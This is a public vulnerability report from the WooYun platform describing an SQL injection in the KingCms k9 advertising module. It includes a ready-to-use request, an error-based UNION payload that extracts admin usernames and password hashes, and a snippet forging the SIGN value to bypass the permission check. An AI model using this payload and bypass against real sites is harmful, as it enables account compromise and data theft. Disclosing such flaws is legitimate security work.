当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101068

漏洞标题:KingCms最新版(k9)注入一枚#7

相关厂商:KingCms

漏洞作者: 路人甲

提交时间:2015-03-13 12:16

修复时间:2015-04-30 18:48

公开时间:2015-04-30 18:48

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-04-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

KingCms最新版(k9)注入一枚

详细说明:

朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。
在wooyun上看到了几个漏洞,如: WooYun: kingcms最新版sql注入漏洞
注入点:GET /apps/advertising/manage.php?jsoncallback=1&_=1&CMD=edt&AJAX=1&USERID=10000&SIGN=89ee81f5f1f328f555ceb7e7655d9f2f&type=1'/**/UNION/**/SELECT/**/1/**/FROM(SELECT/**/COUNT(*),CONCAT(0x23,(SELECT/**/concat(username,0x23,userpass)FROM/**/king_user/**/LIMIT/**/0,1),0x23,FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.tables/**/GROUP/**/BY/**/x)a%23 HTTP/1.1
注入参数:type 问题文件在/apps/advertising/manage.php

function _edt(){
$u=new user;
if (!$u->auth_role('advertising_edit',true)) kc_tip('您无权编辑广告');
$db=new db;
$str=new str;
$id=kc_post('id',2);
$data=array();
$time=time();
$type=kc_post('type');
$today=$str->formatDate($time,'Ymd');
//$config=require ROOT.'apps/advertising/include/config.php';
//$config=require ROOT.T.'advertising/include/config.php';
if (METHOD=='GET') {
//添加的时候初始化数据
if (empty($id)) {
$rs=$db->getRows_one('%s_advertising','edate',"type='$type' and status=1",'edate desc');
if(empty($rs)){
$data['sdate']=$today;
$data['edate']=$str->formatDate($time+86400*31,'Ymd');
}else{
$data['sdate']=$rs['edate']>$today ? $str->formatDate(strtotime($rs['edate'])+86400,'Ymd') : $today;
$data['edate']=$str->formatDate(strtotime($data['sdate'])+86400*30,'Ymd');
}
$data['cdate']=$str->formatDate(time(),'Ymd');

$data['status']=1;
$data['price']=100;
$data['src']='/banner/';
}else{
$data=$db->getRows_one('%s_advertising','*','id='.$id);
$type=$data['type'];
}
}


这里有个if判断if (!$u->auth_role('advertising_edit',true)),只要使GET[‘SIGN’]为下面的SIGN即可。

<?php
$str="10000";//10000即GET参数中的USERID
$str.="kingcms.com";
$SIGN=md5($str);
?>


$type是这样获得的$type=kc_post('type');,去看看kc_post()

function kc_post($name,$type=0,$is=0){
//判断是否为通过admin平台传递来的值
// if(empty($_GET['jsoncallback'])){
$post = isset($_POST[$name]) ? $_POST[$name] : false;
// }else{
// $post=isset($_GET[$name]) ? $_GET[$name] : false;
// }
if(!empty($post)){//如果有值,则判断类型
if(!kc_validate($post,$type)){
kc_tip('POST参数 '.$name.' 数据类型不正确');
}
}
if($is && $post===false){//要求有值的时候判断
kc_tip('POST参数 '.$name.' 不能为空');
}
return $post;
}


可以看到利用kc_validate($post,$type)来对数据进行过滤,但是当kc_validate($post,$type)的第二个参数$type默认值时,则不会过滤,这里在使用kc_validate($post,$type)时,第二个参数就是使用的默认值,也即这里没有过滤。
一直到进行数据库都未过滤,执行了$rs=$db->getRows_one('%s_advertising','edate',"type='$type' and status=1",'edate desc');造成了注入。
Kingcms可以报错,因此
Payload:

type=1'/**/UNION/**/SELECT/**/1/**/FROM(SELECT/**/COUNT(*),CONCAT(0x23,(SELECT/**/concat(username,0x23,userpass)FROM/**/king_user/**/LIMIT/**/0,1),0x23,FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.tables/**/GROUP/**/BY/**/x)a%23


注入成功,见下图

成功副本.jpg

漏洞证明:

见 详细说明

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝